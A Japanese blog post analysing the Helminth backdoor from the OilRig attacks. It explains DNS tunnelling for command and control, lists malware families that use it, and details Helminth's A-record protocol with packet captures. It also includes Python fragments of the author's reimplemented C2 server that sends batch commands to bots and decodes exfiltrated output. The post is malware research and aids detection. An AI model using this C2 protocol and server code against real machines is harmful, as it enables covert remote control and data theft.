標的型攻撃で使われたマルウェアを解析して C2 サーバを作った。そのマルウェアは DNSトンネリングを行う珍しいものだった。
↑マルウェアを動かして 自作 C2 サーバとやりとりをしている図。詳しくはページ下部にて解説
しゅーとです。
去年あたりに、サウジアラビアの金融機関を狙った標的型攻撃があったのですが、その攻撃にDNS トンネリングを用いて情報を外部に送信するマルウェア「Helminth」が使われました。
詳細レポートは Palo Alto Networks の脅威対策チーム Unit42 が出してくれています。
OilRig攻撃活動: サウジアラビアの組織への攻撃でHelminthバックドアを配信 - Palo Alto Networks
ちょうど検体も出回っていたので、 Helminth の解析を行い、C2サーバ(C&Cサーバ)を作成してみました。
この記事では、解析の過程で発見した仕様と、マルウェアに馴染みがない方のためのDNSトンネリングの仕組みと概要を記載しています。
DNSトンネリングの仕組み
HTTP を用いた C2 通信
マルウェアが C2サーバと情報をやりとりする際に最も使われるプロトコルは、HTTP(S) です。
HTTP においてマルウェアから C2サーバに情報を送信するためには HTTP リクエストを行います。
また、C2サーバからマルウェアにコマンド指令を送信するためにはマルウェアからの HTTP リクエストに対して HTTP レスポンスを行います。
なぜマルウェアは HTTP 通信をよく用いるのでしょうか。私はいくつか理由があると思っています。
- ほとんどのOSでHTTP通信が可能である
- プロキシサーバが存在している場合でも、クライアントの通信がほぼそのままで外部に抜け出せるようになっている
- 様々なデータを柔軟に表現できる
セキュリティに気を使っている会社では、不必要なポートを閉じるようにして、プロキシサーバからでないと通信できないようにするなど経路を絞ることを頑張っています。
しかし HTTP通信はプロキシサーバを経由したとしてもクライアントが出した通信をほぼそのまま外に出すことができるため、攻撃者にとっては非常に使い勝手の良いプロトコルになっています。
※プロキシサーバを置く一番の理由はプロキシログを取って定期的な監査を行うためだと思いますが、最近は ChChes をはじめ、 Cookie に情報を入れるマルウェアが増えているため、プロキシログだけでは正確な監査が難しくなっています。
DNS を用いた C2 通信
監査をする人も上記の特徴を当然把握し HTTP 通信の監視を強化しているため、攻撃者は別の方法でなんとかバレないように情報をやりとりする方法を模索しています。
そこで注目されたのが DNS でした。
HTTP 通信の特徴を DNS に置き換えるとどうなるでしょうか。マルウェアから C2サーバは DNS クエリで、C2サーバからマルウェアは DNS レスポンスになります。
またセキュリティに気を使っている会社では、HTTP と同様にキャッシュサーバ以外の IPアドレスから外部に名前解決ができないようにしていると思いますが、クエリの qname はどうしても外部に出さないといけません。その点で HTTP と非常に似た特徴を持っているのです。
具体的に TXT レコード の名前解決を例に出してみましょう。 通常は www.shutingrz.com の TXT レコードを問い合わせて 文字列が返される流れですが、マルウェアから C2サーバに感染端末の OS のバージョン情報を送信しようと考えると、 windows10.shutingrz.com というドメイン名の TXT レコードを C2サーバに問い合わせることで情報の送信ができます。
逆に C2サーバからマルウェアにWindowsバージョン情報を取得しろという指令を出したい場合、マルウェアに一定間隔でドメイン名を問い合わせさせ、指令を出したいタイミングで TXT レコードのレスポンスに「ver」 (コマンドプロンプトで実行するとWindows のバージョンが取得できる) を載せれば指令の送信ができます。
以上のような手法を用いることで、DNS を用いた C2 通信が可能になるのです。
また、参考までにDNSトンネリング機能を持つマルウェアの一覧をまとめたので記載します。
DNS トンネリングを行うマルウェア一覧
マルウェア名 | ホスト名の規則 | レコード | 備考 |
---|---|---|---|
PlugX (0x36a4) | [base32][何かの規則].subdomain.domain | TXT | DNS以外にICMP, HTTPでのC2通信がある |
PlugX (0x2540) | [base64].subdomain.domain | TXT | ホストのエンコード方式がbase64なので、ホスト名に "+" "/" が含まれる |
MULTIGRAN亜種 | log.[base32]. datavhg[.]com | TXT | 左端のホスト名が”log”で固定化されている |
pisloader | [何かの規則][base32].subdomain.domain | TXT | ホスト名に含まれる情報をデコードをするコードがUnit42のgithubページで公開されている |
Feederbot | [50 bytes].[CHUNK-ID].[qdparam].subdomain.domain | TXT | 2011年に発見されたマルウェアらしく、DNSをつかうものとしては古参 |
DNSMessenger | [暗号化{データ]}].subdomain.domain | TXT | 最も最近(2017年2月?)に使われた、DNSトンネリングするマルウェア。データが多い時はTCPを使う |
FrameworkPOS | [エンコード].domain | A/AAAA | getaddrinfo を使っている |
C3PRO-RACCOON | [base64].domain | CNAME | レスポンスの規則: [cmd].[arg].domain ※CNAMEを用いている珍しいタイプ |
Helminth | [規則].subdomain.domain | A | 今回詳しく解説 |
まとめてみると想像以上にありました。色々なマルウェアがセキュリティ機器およびセキュリティエンジニアによる検知の回避のために趣向を凝らしていることがよくわかります。
また、ほとんどのマルウェアが TXT レコードを用いています。
SMTP を用いた C2 通信
HTTP, DNS 以外にも、直接の通信をファイアウォールで閉じたとしても別機器を経由することで外部ネットワークにそのまま情報を出せるものがあります。
SMTP(メール)です。
現時点では SMTP を使った C2 通信を行うマルウェアは滅多にありませんが、一応あります。PerfectKeylogger という名の少し古い時期に出たマルウェアです。
PerfectKeylogger はメールの送信先をC2サーバにして、感染端末の情報をメール本文に記載し送信します。
詳しくは FireEye のレポートを参照してください。
E-Bandits - Part 1 « Threat Research Blog | FireEye Inc
メールは認証情報が必要だから攻撃者が使いづらいという意見もありそうですが、プロキシのID, Pass を取り出して HTTP 通信を行うマルウェアが既にあるので、SMTP を用いた C2 通信が多く使われるのは時間の問題かと思います。
Helminth の解析
Helminth の概要
ようやく Helminth の説明を始めます。Unit 42 には書かれていない、少し細かい内容を書いています。
Helminth は、2つのスクリプトから成り立っています。
- HTTP で C2 通信を行う VBScript
- DNS で C2 通信を行う PowerShell スクリプト (.ps1)
今回は ps1 ファイルを解析し、それに合わせた C2サーバを作成しました。
Helminth の特徴
C2通信に A レコードを用いる点
Helminth の 1番の特徴は、よく使われるような TXT レコードではなく、 A レコードを用いて C2 サーバとの通信を行う点です。
TXT レコードは、汎用的に情報を載せることが可能である一方、通常のDNS通信ではあまり使われない レコードであることから、セキュリティ機器に検知されやすい弱点も持っています。
そのため、A レコードを使うことで検知される可能性を減らすことができます。当然 TXT レコードとは逆に情報を載せる場合の制約が多いというデメリット (IPアドレスの 1オクテットに載せられる情報は 8bitまで) があります。
Helminth は 8bit に収まる文字表現として アスキーコード(7bit) を用いています。
感染端末での実行コマンドの形式がバッチスクリプトである点
通常のマルウェアのC2コマンドは、あらかじめ決められたコマンドを用いることが多いです(put や get など)。
Helminth の場合はバッチスクリプトの形式になっていますが、これは、仕様の制約とDNSトンネリングのスクリプトは初期侵入に使われている点から様々なケースに対応するためだと思います。
なぜかドメイン名に載せる情報の表現がアスキーコードになっている点
C2サーバからマルウェアにコマンド指令をする際は IPアドレスとして情報を載せなければいけないためアスキーコードになっていることは納得できます。
しかし Helminth はC2サーバに送るドメイン名に情報を入れる際、アスキーコードで情報を入れているのです。
例(マルウェアからC2サーバへの実行結果を送信するときのクエリのqname):
001100000BQZ0D0A433A5C55736572735C7368753E64697220633A5C200D.s.com
→ C:\Users\shu>dir c:\
この仕様によって、Helminth はアスキーコードに入っている文字以外の文字を送信することができないのです。当然日本語を送ることも不可能です。
Helminth の細かい仕様の話をすると、 Helminth はバッチスクリプトの実行結果を 1行づつエンコードしパケットを送信します。
また、日本語 OS上で dir c:\ を実行した時に、日本語で「ドライブ C のボリュームラベルがありません」という出力がでる場合がありますが、
Helminth は実行結果の行にアスキーコード以外の文字が含まれる場合はその行を飛ばすという仕様になっているため、C2サーバで受信すると実行結果が歯抜けになってしまうんです。
Helminth はサウジアラビアの金融機関を狙ったとのことなので、そうなると標的 PCの言語はアラビア語ですよね?
アラビア語の文字はアスキーコードに含まれないので完全なデータを送れないのではと思います。
なぜこんな仕様なのかはよくわかりません・・・。
メリットとしては、アスキーコード 1文字のhexは ドメイン名において 2文字で表現できることから、少ない通信回数と固定長で情報を送れる点でしょうか・・・。
Bot ID の要求
00000000[(random)]30.domain
↓上記に対する C2 サーバからの返答
[botid].0.0.0
- botid はアスキーコード1文字
C2 サーバの返答はアスキーコードの 10進数表現を IPアドレスとして埋め込んでいます。
- bot は A レコードの第一オクテットのみ確認するため、実際の C2 サーバが第2オクテット以降の値をどう設定しているかは不明
この通信は文字列長がある程度固定なので、通信を検知するためのシグネチャが書きやすいです。
実行コマンドの要求
↓bot からの実行コマンドの開始要求時のクエリ名
00[botid]00000[(random)]30.domain
↓上記に対する C2サーバからの返答
35.35.x.y ←x.yは cmdid(記号・制御文字以外であれば何でもよい)
↓転送開始時の、bot からの実行コマンド受付中のクエリ名
00[botid]00000[(random)]232A[chr(x)][chr(y)][partid].domain
・上記に対する C2 サーバからの返答
- 転送中のとき
a.b.c.d ←アスキーコード 10進表現
- 転送終了のとき
35.35.35.35
データの順番を整えるためにドメイン名に partid が振られているのはちょっと面白いです。
Helminth を動かして情報をやりとりしてみた
一番初めの botid の取得からコマンド指令の受信、実行結果の送信をパケットキャプチャしました。
botid の取得
C2サーバからの返答は 76.0.0.0 です。
アスキーコード 10進数 の 76 を文字に変換すると、「L」であり、今回動かしたボットに与えた botid は L であることがわかります。
コマンド指令の受信
最初のパケットは「何か実行して欲しいものあったら言ってね」という旨のビーコンです。
C2サーバで実行して欲しい時には 35.35.x.y の形式でレスポンスを返します。
特に実行してもらう必要がない場合は無視をします。
今回は2つめのパケットで 35.35.x.y を返しているので実行して欲しいってことですね。
3つ目以降のパケットは実行して欲しいコマンドをIPアドレスの形で送受信しているところです。
C2 サーバが返した IP アドレスを下記に記載します。
IPアドレス | アスキーコード | 変換結果 |
---|---|---|
100.105.114.32 | 100 105 114 32 | dir [SP] |
99.58.92.10 | 99 58 92 10 | c:\ [LF] |
10.10.10.10 | 10 10 10 10 | [LF][LF][LF][LF] |
35.35.35.35 | 35 35 35 35 | (転送終了の合図) |
※今回作成した C2 サーバでは、コードの簡略化のため最後のパディングとして [LF] を挿入させています。
デコードしたものを全て結合してみると「dir c:\ [LF][LF][LF][LF][LF]」になります。C ドライブ直下のディレクトリ構造を出力させるようなコマンドです。
バッチスクリプトでは空行は無視されるので、実行結果に影響はありません。
実行結果の送信
実行結果を Helminth がひたすら送信している図です。
応答はなんでもいいので、127.0.0.1 を返す実装にしました。
C2サーバに送ったドメイン名からデータ部分と partid を抜き出して下記に記載します。
【partid : data】
000:0D0A433A5C55736572735C7368753E64697220633A5C200D 004:0A0D0A323030392F30362F3131202030363A343220202020 005:2020202020202020202020203234206175746F657865632E 006:6261740D0A323030392F30362F3131202030363A34322020 007:2020202020202020202020202020313020636F6E6669672E 008:7379730D0A323030392F30372F3134202031313A33372020 009:20203C4449523E20202020202020202020506572664C6F67 00A:730D0A323031362F31322F3138202031313A313920202020 00B:3C4449523E2020202020202020202050726F6772616D2046 00C:696C65730D0A323031362F31322F3138202030393A313320 00D:2020203C4449523E2020202020202020202055736572730D 00E:0A323031362F31322F3138202031313A3139202020203C44 00F:49523E2020202020202020202057696E646F77730D0A2020 00K:88E60D0A
partid をよーく見てみると、001-003, 00G-00J が抜けています。
これは、該当行に日本語が含まれていたため、 Helminth がその行を抜かしてC2サーバに送ったためです。
また、データをデコードした結果を記載します。
C:¥Users¥shu>dir c:¥ 2009/06/11 06:42 24 autoexec.bat 2009/06/11 06:42 10 config.sys 2009/07/14 11:37 <DIR> PerfLogs 2016/12/18 11:19 <DIR> Program Files 2016/12/18 09:13 <DIR> Users 2016/12/18 11:19 <DIR> Windows 域
なぜか最後に 88E6(=> SJIS で「域」)が含まれていますね。日本語が複数行にわたって記述されていた関係でしょうか。原因調査していないのでわかりません。
おまけ
Helminth からのクエリを見てどのモードか判断する python コード
#qname.label[0] => host part. #ex. aaa.google.com => aaa if (helm.qname.label[-2] + "." + helm.qname.label[-1]) == TARGETED_DOMAIN: data = helm.qname.label[0] print("data: %s" % data) #GetID (GetSub 0) if data[0:8] == "00000000": print(" [+] GetID") msg = helm.getID(); s.sendto(msg, peer) #Alive & send command (batch program.) (GetSub 1) elif (data[0:2] == "00" and data[3:8] == "00000") : print(" [+] Alive or Send") #check botid if data[2:3] == helm.botid : print(" - botid:%s" % helm.botid) msg = helm.getCmd(); #get batch program s.sendto(msg, peer) #Received data (GetSub 2) elif (data[0:2] == "00" and data[3:8] != "00000") : print(" [+] receive data") #check botid if data[2:3] == helm.botid : print(" - botid:%s" % helm.botid) msg = helm.recvData(data); s.sendto(msg, peer) else: pass;
GetSub の意味については検体を確認してください。
Helminth から受信した実行結果をデコードする python コード
def recvData(self, qdata): # qdata はドメイン名の最初のラベル botid = qdata[2:3] cmdid = qdata[3:5] #fileid partid= qdata[5:8] #partid (base36) rand = qdata[8:11] #rand data (base36) data = qdata[11:] #txt data for dec in [(i+j) for (i,j) in zip(data[::2], data[1::2])]: encstr = "%" + dec print("%s" % urllib.unquote(encstr))
※このコードは partid の整列をしてないので注意
その他
質問は @shutingrz までお願いします。
パケットが欲しい人がいればその旨を伝えてください。
C2 サーバが欲しい人がいれば・・・私と友好関係を築いてください・・・。